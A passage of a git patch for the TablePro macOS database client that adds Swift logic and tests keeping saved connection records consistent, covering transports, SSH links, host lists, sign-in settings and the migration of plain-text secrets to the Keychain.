fixture.seed([connection]) + return connection + } + + @Test("A record stored with SSH and SOCKS saves a rename with SSH alone, as the editor shows") + func twoStoredTransportsSaveAsShown() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = seedSSHAndSOCKS(fixture) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + #expect(store.draft.transport == .ssh) + + store.update { $0.name = "Renamed" } + _ = try store.save().get() + + let saved = try #require(fixture.storage.loadConnection(id: connection.id)) + #expect(saved.name == "Renamed") + #expect(saved.sshTunnelMode == connection.sshTunnelMode) + #expect(saved.socksProxyMode == .disabled) + #expect(saved.activeTunnelKind == .ssh) + } + + @Test("Test dials a record stored with SSH and SOCKS through SSH, as the editor shows") + func twoStoredTransportsTestThroughSSH() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = seedSSHAndSOCKS(fixture) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + + let tested = store.testRecord(testId: UUID()) + + #expect(tested.socksProxyMode == .disabled) + #expect(tested.activeTunnelKind == .ssh) + } + + @Test("A switch to SOCKS made elsewhere on a record stored with SSH and SOCKS survives a rename") + func concurrentSwitchOnTwoStoredTransportsWins() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = seedSSHAndSOCKS(fixture) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + + var elsewhere = try #require(fixture.storage.loadConnection(id: connection.id)) + elsewhere.sshTunnelMode = .disabled + elsewhere.sshConfig.enabled = false + fixture.seed([elsewhere]) + + store.update { $0.name = "Renamed" } + _ = try store.save().get() + + let saved = try #require(fixture.storage.loadConnection(id: connection.id)) + #expect(saved.name == "Renamed") + #expect(saved.sshTunnelMode == .disabled) + #expect(saved.socksProxyMode == connection.socksProxyMode) + #expect(saved.activeTunnelKind == .socksProxy) + } + // MARK: - Host list over a tunnel @Test("Redis Cluster and Kafka advice never speaks of a replica set") From 611057fed66c94bb830ba233fb3d857c8ff755cc Mon Sep 17 00:00:00 2001 From: Ngo Quoc Dat Date: Mon, 23 Nov 2026 01:47:36 +0700 Subject: [PATCH 10/13] wip(connection-editor): one record invariants pass, panels back to sheets --- .../Engine/ConnectionRecordInvariants.swift | 179 ++++++++ .../Facets/Rows/EditorPathRow.swift | 10 +- .../Store/ConnectionEditorStore+Load.swift | 10 +- .../Store/ConnectionEditorStore+Save.swift | 45 +- .../Store/ConnectionEditorStore+Test.swift | 8 +- .../Support/ConnectionFormEdits.swift | 4 +- .../ConnectionRecordInvariantsTests.swift | 392 ++++++++++++++++++ .../Engine/SecretWritePlanTests.swift | 13 + .../Store/ConnectionEditorStoreFixture.swift | 6 +- ...ctionEditorStorePlaintextSecretTests.swift | 116 ++++++ .../Store/ConnectionEditorStoreTests.swift | 45 ++ 11 files changed, 807 insertions(+), 21 deletions(-) create mode 100644 apple/TablePro/Views/ConnectionForm/Engine/ConnectionRecordInvariants.swift create mode 100644 apple/TableProTests/Views/ConnectionForm/Engine/ConnectionRecordInvariantsTests.swift create mode 100644 apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStorePlaintextSecretTests.swift diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionRecordInvariants.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionRecordInvariants.swift new file mode 100644 index 0000000000..b11a042f9a --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionRecordInvariants.swift @@ -0,0 +1,179 @@ +// +// ConnectionRecordInvariants.swift +// TablePro +// + +import Foundation +import TableProConnectionLibrary +import TableProPluginKit +import TableProSSHConfig + +// The rules the old save wrote by overwriting the whole record. The merge keeps another writer's value key by key, and a +// kept value can break a rule that spans keys, so Save, the reviewed definition and Test pass their record through here. +enum ConnectionRecordInvariants { + enum Use: Equatable { + case save + case test + } + + struct Outcome: Equatable { + var record: DatabaseConnection + // Plugin secure values the record held in plain text, by field id. Save moves them where the Keychain has none. + var plaintextSecrets: [String: String] = [:] + } + + // `traits` describe the record's own type, `originalTraits` the type the editor loaded. + static func enforce( + _ record: DatabaseConnection, + traits: ConnectionTypeTraits, + originalTraits: ConnectionTypeTraits?, + context: EditorContext, + use: Use = .save + ) -> Outcome { + var record = record + let plaintext = removeSecureValues(from: &record, traits, originalTraits) + removeFieldsOfTypeLeft(from: &record, traits, originalTraits) + keepOneOfferedTransport(&record, traits) + alignSSHLink(&record) + removeTransportLeftovers(from: &record, traits) + alignHostAndPortWithHostList(&record, traits) + alignSignIn(&record, traits, context, use: use) + return Outcome(record: record, plaintextSecrets: plaintext) + } + + private static func removeSecureValues( + from record: inout DatabaseConnection, + _ traits: ConnectionTypeTraits, + _ originalTraits: ConnectionTypeTraits? + ) -> [String: String] { + var plaintext: [String: String] = [:] + for fieldId in ConnectionEditorEngine.secretFieldIds(traits, originalTraits: originalTraits) { + guard let value = record.additionalFields.removeValue(forKey: fieldId), !value.isEmpty else { continue } + plaintext[fieldId] = value + } + return plaintext + } + + private static func removeFieldsOfTypeLeft( + from record: inout DatabaseConnection, + _ traits: ConnectionTypeTraits, + _ originalTraits: ConnectionTypeTraits? + ) { + guard let originalTraits, originalTraits.type != record.type else { return } + for field in originalTraits.fields where traits.field(field.id) == nil { + record.additionalFields[field.id] = nil + } + } + + // The first switched-on transport is the one the editor loads, and it stays only where this type can dial it. + private static func keepOneOfferedTransport(_ record: inout DatabaseConnection, _ traits: ConnectionTypeTraits) { + record.keepOnlyFirstTransport() + guard let kind = record.switchedOnTransports.first, !offers(kind, record, traits) else { return } + switch kind { + case .ssh, .remoteFile, .remoteDatabaseSession: + record.sshTunnelMode = .disabled + case .cloudflare: + record.cloudflareTunnelMode = .disabled + case .cloudSQLProxy: + record.cloudSQLProxyMode = .disabled + case .socksProxy: + record.socksProxyMode = .disabled + case .tunnelCommand: + record.tunnelCommandMode = .disabled + } + } + + private static func offers(_ kind: ConnectionTunnelKind, _ record: DatabaseConnection, _ traits: ConnectionTypeTraits) -> Bool { + let forwards = dialsForwardedEndpoint(record, traits) + switch kind { + case .ssh, .remoteFile, .remoteDatabaseSession: + return traits.supportsRemoteDatabaseFile || (forwards && traits.supportsSSH) + case .cloudflare: return forwards && traits.supportsCloudflareTunnel + case .cloudSQLProxy: return forwards && traits.supportsCloudSQLProxy + case .socksProxy: return forwards && traits.supportsSOCKSProxy + case .tunnelCommand: return forwards && traits.supportsTunnelCommand + } + } + + private static func dialsForwardedEndpoint(_ record: DatabaseConnection, _ traits: ConnectionTypeTraits) -> Bool { + guard traits.connectionMode != .network else { return true } + guard let endpointFields = traits.serverEndpointFields, + let hostField = traits.field(endpointFields.hostFieldId) + else { return false } + return traits.fields.isVisible(hostField, forValues: record.additionalFields) + } + + // The tunnel mode is what a connect reads; the legacy profile id and configuration follow it. + private static func alignSSHLink(_ record: inout DatabaseConnection) { + switch record.sshTunnelMode { + case .disabled: + record.sshProfileId = nil + record.sshConfig.enabled = false + case .inline(let config): + record.sshProfileId = nil + record.sshConfig = config + case .profile(let id, let snapshot): + record.sshProfileId = id + record.sshConfig = snapshot + } + } + + private static func removeTransportLeftovers(from record: inout DatabaseConnection, _ traits: ConnectionTypeTraits) { + let forwardsPort = record.sshTunnelMode != .disabled && !traits.supportsRemoteDatabaseFile && traits.socketForwardApplies + if !forwardsPort { + record.additionalFields[DatabaseConnection.sshForwardUnixSocketPathKey] = nil + } + // A connect through a transport drops the socket, and the editor loads such a record as the transport. + if !traits.supportsLocalSocket || !record.switchedOnTransports.isEmpty { + record.additionalFields[MySQLLocalSocket.fieldKey] = nil + } + if !traits.supportsRemoteDatabaseFile { + record.clearRemoteFilePath() + } + } + + private static func alignHostAndPortWithHostList(_ record: inout DatabaseConnection, _ traits: ConnectionTypeTraits) { + guard let hostList = traits.fields.endpointHostList, let raw = record.additionalFields[hostList.id] else { return } + let primary = HostListEndpoint.parseList(raw, defaultPort: traits.defaultPort).first + ?? HostListEndpoint(host: traits.defaultHost ?? "localhost", port: traits.defaultPort) + record.host = primary.host + record.port = primary.port + } + + private static func alignSignIn( + _ record: inout DatabaseConnection, + _ traits: ConnectionTypeTraits, + _ context: EditorContext, + use: Use + ) { + if let profile = context.credentialProfile(record.credentialMode.profileId) { + record.username = profile.username + } + let showsPassword = !traits.hidesBuiltInPassword + && !traits.fields.hidesPassword(forValues: record.additionalFields) + && traits.connectionMode != .fileBased + if !showsPassword { + record.additionalFields["promptForPassword"] = nil + } + // A prompt arrives as an override and a linked profile resolves first, so the source would never run. + if use == .test, record.credentialMode.profileId != nil || record.promptForPassword { + record.passwordSource = nil + } + } +} + +private extension DatabaseConnection { + mutating func clearRemoteFilePath() { + sshConfig.remoteFilePath = "" + switch sshTunnelMode { + case .disabled: + break + case .inline(var config): + config.remoteFilePath = "" + sshTunnelMode = .inline(config) + case .profile(let id, var snapshot): + snapshot.remoteFilePath = "" + sshTunnelMode = .profile(id: id, snapshot: snapshot) + } + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorPathRow.swift b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorPathRow.swift index 7c91ed0376..d1c6f5d587 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorPathRow.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorPathRow.swift @@ -172,17 +172,9 @@ enum EditorFilePanel { store.window ?? NSApp.keyWindow } - // A sheet wider than its window hangs past both edges. The panel is narrowed first, but no further than its own - // minimum, which for an open panel (833 pt with the sidebar on macOS 27, measured) is wider than the 780 pt - // editor, so a panel that still does not fit runs app-modal on its own, keeping the editor waiting as a sheet would. + // A sheet on the window it serves, also when the panel is wider than the editor, as open and save panels are on macOS. static func present(_ panel: NSSavePanel, in window: NSWindow?) async -> NSApplication.ModalResponse { guard let window else { return await panel.begin() } - let available = window.frame.width - if panel.frame.width > available { - let height = panel.contentRect(forFrameRect: panel.frame).height - panel.setContentSize(NSSize(width: available, height: height)) - } - guard panel.frame.width <= available else { return panel.runModal() } return await panel.presentAsSheet(for: window) } diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Load.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Load.swift index 9d47c20541..6ded4b54ca 100644 --- a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Load.swift +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Load.swift @@ -76,7 +76,15 @@ extension ConnectionEditorStore { secrets.cloudSQLServiceAccountKey = storage.loadCloudSQLProxyServiceAccountKey(for: id) secrets.socksPassword = storage.loadSOCKSProxyPassword(for: id) for fieldId in traits.declaredSecureFieldIds { - if let value = storage.loadPluginSecureField(fieldId: fieldId, for: id) { + var value: String? + let reads = storage.recordingSecretReads { + value = storage.loadPluginSecureField(fieldId: fieldId, for: id) + } + // A stored item wins over a plain-text copy an unfinished Keychain migration left, as the migration rules. + if (value ?? "").isEmpty, reads.unreadable.isEmpty, + let plaintext = record.additionalFields[fieldId], !plaintext.isEmpty { + secrets.pluginSecureFields[fieldId] = plaintext + } else if let value { secrets.pluginSecureFields[fieldId] = value } } diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Save.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Save.swift index 1cbb2bd7b9..5d331ca66e 100644 --- a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Save.swift +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Save.swift @@ -76,19 +76,21 @@ extension ConnectionEditorStore { let edits = ConnectionEditorEngine.edits(saving, traits, originalTraits: originalTraits, context) var record: DatabaseConnection let reviewed: DatabaseConnection - let plan: SecretWritePlan + var plan: SecretWritePlan if let existingIndex { let fresh = connections[existingIndex] - record = edits.applied(to: fresh, since: baselineEdits) + let merged = enforcingInvariants(edits.applied(to: fresh, since: baselineEdits)) + record = merged.record if fresh.groupId != record.groupId { record.sortOrder = ConnectionStorage.nextSortOrder(in: connections, groupId: record.groupId) } - reviewed = edits.applied(to: loadedRecord ?? fresh, since: baselineEdits) + reviewed = enforcingInvariants(edits.applied(to: loadedRecord ?? fresh, since: baselineEdits)).record plan = ConnectionEditorEngine.secretPlan( saving, traits, originalTraits: originalTraits, context, since: baseline, mergedInto: record ) + settlePlaintextSecrets(merged.plaintextSecrets, plan: &plan, record: &record) } else { - record = edits.applied(to: DatabaseConnection(id: connectionId, name: "")) + record = enforcingInvariants(edits.applied(to: DatabaseConnection(id: connectionId, name: ""))).record record.sortOrder = ConnectionStorage.nextSortOrder(in: connections, groupId: record.groupId) reviewed = record plan = ConnectionEditorEngine.secretPlan(saving, traits, originalTraits: originalTraits, context) @@ -135,6 +137,41 @@ extension ConnectionEditorStore { return .success((record, reviewed)) } + // A record another writer retyped while the editor was open is held to its own type's rules. + func enforcingInvariants( + _ record: DatabaseConnection, + use: ConnectionRecordInvariants.Use = .save + ) -> ConnectionRecordInvariants.Outcome { + let recordTraits = record.type == traits.type + ? traits + : ConnectionTypeTraits.live(for: record.type, pluginManager: services.pluginManager) + return ConnectionRecordInvariants.enforce( + record, traits: recordTraits, originalTraits: originalTraits, context: context, use: use + ) + } + + // The migration's rule: a plain-text secret the editor did not set leaves the record once the Keychain holds the + // field, a stored item winning over the copy. One whose item cannot be read stays, as the migration leaves it. + private func settlePlaintextSecrets( + _ plaintext: [String: String], + plan: inout SecretWritePlan, + record: inout DatabaseConnection + ) { + for (fieldId, value) in plaintext.sorted(by: { $0.key < $1.key }) { + let item = SecretWritePlan.Item.pluginField(fieldId) + guard plan.disposition(of: item) == .untouched else { continue } + var stored: String? + let reads = storage.recordingSecretReads { + stored = storage.loadPluginSecureField(fieldId: fieldId, for: connectionId) + } + if !reads.unreadable.isEmpty { + record.additionalFields[fieldId] = value + } else if (stored ?? "").isEmpty { + plan.writes.append(SecretWritePlan.Write(item: item, value: value)) + } + } + } + private func finishSave(_ record: DatabaseConnection, reviewed: DatabaseConnection, connect: Bool) { approveSavedDefinition(record, reviewed: reviewed) if !record.localOnly { diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Test.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Test.swift index de6f95db48..ca2a3addd2 100644 --- a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Test.swift +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Test.swift @@ -104,10 +104,10 @@ extension ConnectionEditorStore { // fresh read. Test signs in without consent, so a host or sign-in another writer changed must not reach it. func testRecord(testId: UUID) -> DatabaseConnection { let edits = ConnectionEditorEngine.edits(draft, traits, originalTraits: originalTraits, context) - if let loadedRecord { - return edits.applied(to: ConnectionEditorEngine.record(loadedRecord, reassignedTo: testId), since: baselineEdits) - } - return edits.applied(to: DatabaseConnection(id: testId, name: "")) + let merged = loadedRecord.map { + edits.applied(to: ConnectionEditorEngine.record($0, reassignedTo: testId), since: baselineEdits) + } ?? edits.applied(to: DatabaseConnection(id: testId, name: "")) + return enforcingInvariants(merged, use: .test).record } func test() { diff --git a/apple/TablePro/Views/ConnectionForm/Support/ConnectionFormEdits.swift b/apple/TablePro/Views/ConnectionForm/Support/ConnectionFormEdits.swift index 525a49773b..03a881295b 100644 --- a/apple/TablePro/Views/ConnectionForm/Support/ConnectionFormEdits.swift +++ b/apple/TablePro/Views/ConnectionForm/Support/ConnectionFormEdits.swift @@ -189,7 +189,7 @@ extension DatabaseConnection { } } -private extension DatabaseConnection { +extension DatabaseConnection { // SSH sorts first, so it is never one of those turned off. mutating func keepOnlyFirstTransport() { for kind in switchedOnTransports.dropFirst() { @@ -202,7 +202,9 @@ private extension DatabaseConnection { } } } +} +private extension DatabaseConnection { mutating func takeTransports(from other: DatabaseConnection) { sshConfig = other.sshConfig sshProfileId = other.sshProfileId diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionRecordInvariantsTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionRecordInvariantsTests.swift new file mode 100644 index 0000000000..5709a206c0 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionRecordInvariantsTests.swift @@ -0,0 +1,392 @@ +// +// ConnectionRecordInvariantsTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import TableProSSHConfig +import Testing + +@testable import TablePro + +// Each case builds the record Save's merge produces when another writer changed the stored one after the editor +// loaded it, checks the merge broke the rule, then that enforce restores it. record-invariants.md lists the rules. +@MainActor +struct ConnectionRecordInvariantsTests { + private static let probe = DatabaseType(rawValue: "InvariantProbe") + private static let otherProbe = DatabaseType(rawValue: "InvariantProbeOther") + + private func probeTraits( + _ type: DatabaseType = probe, + _ configure: (inout ConnectionTypeTraits) -> Void = { _ in } + ) -> ConnectionTypeTraits { + var traits = ConnectionTypeTraits(type: type) + traits.defaultPort = 5_000 + configure(&traits) + return traits + } + + private func stored(_ traits: ConnectionTypeTraits) -> DatabaseConnection { + DatabaseConnection(name: "Orders", host: "db.example.com", port: 5_000, username: "app", type: traits.type) + } + + private func merged( + stored: DatabaseConnection, + fresh: DatabaseConnection, + traits: ConnectionTypeTraits, + originalTraits: ConnectionTypeTraits? = nil, + context: EditorContext = EditorContext(), + edit: (inout ConnectionDraft) -> Void + ) -> DatabaseConnection { + let loadedTraits = originalTraits ?? traits + let baseline = ConnectionDraft.loaded(from: stored, secrets: .none, traits: loadedTraits) + var draft = baseline + edit(&draft) + let since = ConnectionEditorEngine.edits(baseline, loadedTraits, originalTraits: loadedTraits, context) + return ConnectionEditorEngine.edits(draft, traits, originalTraits: loadedTraits, context) + .applied(to: fresh, since: since) + } + + private func enforce( + _ record: DatabaseConnection, + _ traits: ConnectionTypeTraits, + originalTraits: ConnectionTypeTraits? = nil, + context: EditorContext = EditorContext(), + use: ConnectionRecordInvariants.Use = .save + ) -> ConnectionRecordInvariants.Outcome { + ConnectionRecordInvariants.enforce( + record, traits: traits, originalTraits: originalTraits ?? traits, context: context, use: use + ) + } + + private func sshTunnel(remoteFilePath: String = "") -> SSHConfiguration { + var config = SSHConfiguration(enabled: true, host: "bastion.example.com") + config.remoteFilePath = remoteFilePath + return config + } + + // MARK: - Secrets + + @Test("A plain-text secure value the stored record still holds leaves it and is handed back for the Keychain") + func plaintextSecureValueLeavesTheRecord() { + let traits = probeTraits { + $0.fields = [ConnectionField(id: "apiToken", label: "API Token", secure: true, section: .authentication)] + } + var record = stored(traits) + record.additionalFields["apiToken"] = "plain-old" + + let result = merged(stored: record, fresh: record, traits: traits) { $0.name = "Renamed" } + #expect(result.additionalFields["apiToken"] == "plain-old") + + let outcome = enforce(result, traits) + #expect(outcome.record.additionalFields["apiToken"] == nil) + #expect(outcome.plaintextSecrets == ["apiToken": "plain-old"]) + #expect(outcome.record.name == "Renamed") + } + + @Test("A plain-text secure value of the type the connection left leaves the retyped record") + func plaintextSecureValueOfTheOldTypeLeaves() { + let left = probeTraits { + $0.fields = [ConnectionField(id: "legacyKey", label: "Key", secure: true, section: .authentication)] + } + let target = probeTraits(Self.otherProbe) + let record = stored(left) + var fresh = record + fresh.additionalFields["legacyKey"] = "plain-elsewhere" + + let result = merged(stored: record, fresh: fresh, traits: target, originalTraits: left) { + $0.retype(to: target, from: left) + } + #expect(result.type == target.type) + #expect(result.additionalFields["legacyKey"] == "plain-elsewhere") + + let outcome = enforce(result, target, originalTraits: left) + #expect(outcome.record.additionalFields["legacyKey"] == nil) + #expect(outcome.plaintextSecrets == ["legacyKey": "plain-elsewhere"]) + } + + // MARK: - Retype + + @Test("A retyped record keeps no field only the type it left declares, even one set elsewhere after load") + func fieldOfTheOldTypeLeaves() { + let left = probeTraits { $0.fields = [ConnectionField(id: "region", label: "Region", section: .connection)] } + let target = probeTraits(Self.otherProbe) + let record = stored(left) + var fresh = record + fresh.additionalFields["region"] = "eu-west-1" + fresh.additionalFields["undeclaredOption"] = "kept" + + let result = merged(stored: record, fresh: fresh, traits: target, originalTraits: left) { + $0.retype(to: target, from: left) + } + #expect(result.additionalFields["region"] == "eu-west-1") + + let outcome = enforce(result, target, originalTraits: left) + #expect(outcome.record.additionalFields["region"] == nil) + #expect(outcome.record.additionalFields["undeclaredOption"] == "kept") + } + + // MARK: - Transports + + @Test("Of two switched-on transports only the first, the one the editor loads, stays") + func oneTransportStays() { + let traits = probeTraits() + var record = stored(traits) + record.sshConfig = sshTunnel() + record.sshTunnelMode = .inline(sshTunnel()) + record.socksProxyMode = .inline(SOCKSProxyConfiguration(host: "proxy.example.com", port: 1_080, username: "")) + #expect(record.switchedOnTransports == [.ssh, .socksProxy]) + + let outcome = enforce(record, traits) + #expect(outcome.record.switchedOnTransports == [.ssh]) + } + + @Test("A transport another writer turned on that this type cannot dial is turned off") + func transportTheTypeDoesNotOfferIsOff() { + let traits = probeTraits { $0.supportsCloudflareTunnel = false } + let record = stored(traits) + var fresh = record + fresh.cloudflareTunnelMode = .inline(CloudflareConfiguration( + accessHostname: "db.example.com", localPort: nil, authMethod: .browserSSO, exposeToLAN: false, binaryPath: "" + )) + + let result = merged(stored: record, fresh: fresh, traits: traits) { $0.name = "Renamed" } + #expect(result.switchedOnTransports == [.cloudflare]) + + let outcome = enforce(result, traits) + #expect(outcome.record.cloudflareTunnelMode == .disabled) + #expect(outcome.record.switchedOnTransports.isEmpty) + } + + @Test("A transport stays where the type's host field shows, and goes where its mode hides it") + func transportFollowsTheDialedEndpoint() { + let traits = probeTraits { + $0.connectionMode = .fileBased + $0.fields = [ + ConnectionField( + id: "mode", + label: "Mode", + defaultValue: "local", + fieldType: .dropdown(options: [.init(value: "local", label: "Local"), .init(value: "remote", label: "Remote")]), + section: .connection + ), + ConnectionField( + id: "remoteHost", + label: "Host", + section: .connection, + visibleWhen: FieldVisibilityRule(fieldId: "mode", values: ["remote"]) + ) + ] + $0.serverEndpointFields = ServerEndpointFields(hostFieldId: "remoteHost", portFieldId: "remotePort") + } + var record = stored(traits) + record.additionalFields["mode"] = "remote" + var fresh = record + fresh.socksProxyMode = .inline(SOCKSProxyConfiguration(host: "proxy.example.com", port: 1_080, username: "")) + #expect(enforce(fresh, traits).record.switchedOnTransports == [.socksProxy]) + + let result = merged(stored: record, fresh: fresh, traits: traits) { $0.setFieldValue("local", for: "mode") } + #expect(result.additionalFields["mode"] == "local") + #expect(result.switchedOnTransports == [.socksProxy]) + + let outcome = enforce(result, traits) + #expect(outcome.record.switchedOnTransports.isEmpty) + } + + @Test("The SSH profile id and configuration follow the tunnel mode") + func sshLinkFollowsTheTunnelMode() { + let traits = probeTraits() + let record = stored(traits) + var fresh = record + fresh.sshProfileId = UUID() + fresh.sshConfig = sshTunnel() + + let result = merged(stored: record, fresh: fresh, traits: traits) { $0.name = "Renamed" } + #expect(result.sshTunnelMode == .disabled) + #expect(result.sshProfileId != nil) + + let outcome = enforce(result, traits) + #expect(outcome.record.sshProfileId == nil) + #expect(!outcome.record.sshConfig.enabled) + + let profileId = UUID() + var linked = result + linked.sshTunnelMode = .profile(id: profileId, snapshot: sshTunnel()) + linked.sshProfileId = nil + let relinked = enforce(linked, traits).record + #expect(relinked.sshProfileId == profileId) + #expect(relinked.sshConfig == sshTunnel()) + } + + @Test("A socket path to forward to stays only with an SSH port forward") + func forwardSocketPathNeedsSSH() { + let traits = probeTraits() + let key = DatabaseConnection.sshForwardUnixSocketPathKey + var record = stored(traits) + record.sshConfig = sshTunnel() + record.sshTunnelMode = .inline(sshTunnel()) + record.additionalFields[key] = "/var/run/postgresql/.s.PGSQL.5432" + var fresh = record + fresh.sshTunnelMode = .disabled + fresh.sshConfig.enabled = false + fresh.socksProxyMode = .inline(SOCKSProxyConfiguration(host: "proxy.example.com", port: 1_080, username: "")) + + let result = merged(stored: record, fresh: fresh, traits: traits) { $0.name = "Renamed" } + #expect(result.switchedOnTransports == [.socksProxy]) + #expect(result.additionalFields[key] != nil) + + let outcome = enforce(result, traits) + #expect(outcome.record.additionalFields[key] == nil) + #expect(outcome.record.switchedOnTransports == [.socksProxy]) + #expect(enforce(record, traits).record.additionalFields[key] == record.additionalFields[key]) + } + + @Test("A local socket path goes once a transport is on, which a connect would use instead") + func localSocketPathGoesWithATransport() { + let traits = probeTraits { $0.defaultLocalSocketPath = "/tmp/mysql.sock" } + var record = stored(traits) + record.additionalFields[MySQLLocalSocket.fieldKey] = "/tmp/mysql.sock" + var fresh = record + fresh.sshConfig = sshTunnel() + fresh.sshTunnelMode = .inline(sshTunnel()) + + let result = merged(stored: record, fresh: fresh, traits: traits) { $0.name = "Renamed" } + #expect(result.additionalFields[MySQLLocalSocket.fieldKey] == "/tmp/mysql.sock") + #expect(result.switchedOnTransports == [.ssh]) + + let outcome = enforce(result, traits) + #expect(outcome.record.additionalFields[MySQLLocalSocket.fieldKey] == nil) + #expect(outcome.record.switchedOnTransports == [.ssh]) + #expect(enforce(record, traits).record.additionalFields[MySQLLocalSocket.fieldKey] == "/tmp/mysql.sock") + } + + @Test("A type that opens no remote file keeps no remote file path on its SSH tunnel") + func remoteFilePathNeedsRemoteFiles() { + let traits = probeTraits() + let record = stored(traits) + var fresh = record + fresh.sshConfig = sshTunnel(remoteFilePath: "/srv/app.db") + fresh.sshTunnelMode = .inline(sshTunnel(remoteFilePath: "/srv/app.db")) + + let result = merged(stored: record, fresh: fresh, traits: traits) { $0.name = "Renamed" } + #expect(result.resolvedSSHConfig.remoteFilePath == "/srv/app.db") + + let outcome = enforce(result, traits) + #expect(outcome.record.resolvedSSHConfig.remoteFilePath.isEmpty) + #expect(outcome.record.sshConfig.remoteFilePath.isEmpty) + #expect(outcome.record.switchedOnTransports == [.ssh]) + + var remoteFiles = traits + remoteFiles.supportsRemoteDatabaseFile = true + #expect(enforce(result, remoteFiles).record.resolvedSSHConfig.remoteFilePath == "/srv/app.db") + } + + // MARK: - Host list + + @Test("Host and Port are the first entry of the host list") + func hostAndPortFollowTheHostList() { + let traits = probeTraits { + $0.fields = [ConnectionField(id: "hosts", label: "Hosts", fieldType: .hostList, section: .connection)] + } + var record = stored(traits) + record.host = "a.example.com" + record.additionalFields["hosts"] = "a.example.com:5000" + var fresh = record + fresh.host = "b.example.com" + + let result = merged(stored: record, fresh: fresh, traits: traits) { + $0.setFieldValue("a.example.com:5000,c.example.com:5001", for: "hosts") + } + #expect(result.host == "b.example.com") + + let outcome = enforce(result, traits) + #expect(outcome.record.host == "a.example.com") + #expect(outcome.record.port == 5_000) + } + + // MARK: - Sign-in + + @Test("A connection linked to a credential profile carries that profile's username") + func linkedProfileOwnsTheUsername() { + let traits = probeTraits() + let profile = CredentialProfile(name: "Shared", username: "app") + var context = EditorContext() + context.credentialProfiles = [profile] + let record = stored(traits) + var fresh = record + fresh.username = "renamed-elsewhere" + + let result = merged(stored: record, fresh: fresh, traits: traits, context: context) { + $0.setCredentialMode(.profile(id: profile.id)) + } + #expect(result.credentialMode == .profile(id: profile.id)) + #expect(result.username == "renamed-elsewhere") + + #expect(enforce(result, traits, context: context).record.username == "app") + } + + @Test("Ask Every Time stays only where the form shows a password") + func promptNeedsAShownPassword() { + let traits = probeTraits { + $0.fields = [ConnectionField( + id: "useAgent", + label: "Use Agent", + defaultValue: "false", + fieldType: .toggle, + section: .authentication, + hidesPassword: true + )] + } + let record = stored(traits) + var fresh = record + fresh.promptForPassword = true + + let result = merged(stored: record, fresh: fresh, traits: traits) { $0.setFieldValue("true", for: "useAgent") } + #expect(result.promptForPassword) + #expect(result.additionalFields["useAgent"] == "true") + + let outcome = enforce(result, traits) + #expect(!outcome.record.promptForPassword) + #expect(outcome.record.additionalFields["useAgent"] == "true") + #expect(enforce(fresh, traits).record.promptForPassword) + } + + @Test("Test drops a password source a prompt or a profile would never run; Save keeps it") + func testRecordDropsAnUnusedPasswordSource() { + let traits = probeTraits() + var record = stored(traits) + record.passwordSource = .env(variable: "DB_PASSWORD") + + let result = merged(stored: record, fresh: record, traits: traits) { $0.setPasswordPrompt(true, traits: traits) } + #expect(result.promptForPassword) + #expect(result.passwordSource != nil) + + #expect(enforce(result, traits, use: .test).record.passwordSource == nil) + #expect(enforce(result, traits).record.passwordSource == record.passwordSource) + #expect(enforce(record, traits, use: .test).record.passwordSource == record.passwordSource) + } + + // MARK: - No-op + + @Test("A record that keeps every rule comes back unchanged") + func cleanRecordIsUnchanged() { + let traits = probeTraits { + $0.fields = [ + ConnectionField(id: "apiToken", label: "API Token", secure: true, section: .authentication), + ConnectionField(id: "region", label: "Region", section: .connection) + ] + } + var record = stored(traits) + record.sshConfig = sshTunnel() + record.sshTunnelMode = .inline(sshTunnel()) + record.additionalFields["region"] = "eu-west-1" + record.additionalFields[DatabaseConnection.sshForwardUnixSocketPathKey] = "/tmp/.s.PGSQL.5432" + record.promptForPassword = true + record.passwordSource = .env(variable: "DB_PASSWORD") + + let outcome = enforce(record, traits) + #expect(outcome.record == record) + #expect(outcome.plaintextSecrets.isEmpty) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/SecretWritePlanTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/SecretWritePlanTests.swift index ac4b07c5d9..57ada32264 100644 --- a/apple/TableProTests/Views/ConnectionForm/Engine/SecretWritePlanTests.swift +++ b/apple/TableProTests/Views/ConnectionForm/Engine/SecretWritePlanTests.swift @@ -104,6 +104,19 @@ struct SecretWritePlanTests { #expect(plan.stagedDeletes.contains(.sshKeyPassphrase)) } + @Test("An SSL key passphrase is written only beside a client key, and cleared without one") + func sslKeyPassphraseNeedsAClientKey() { + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + draft.ssl.clientKeyPassphrase = "key-secret" + let withoutKey = plan(draft, postgres) + #expect(withoutKey.writes(of: .sslClientKeyPassphrase) == nil) + 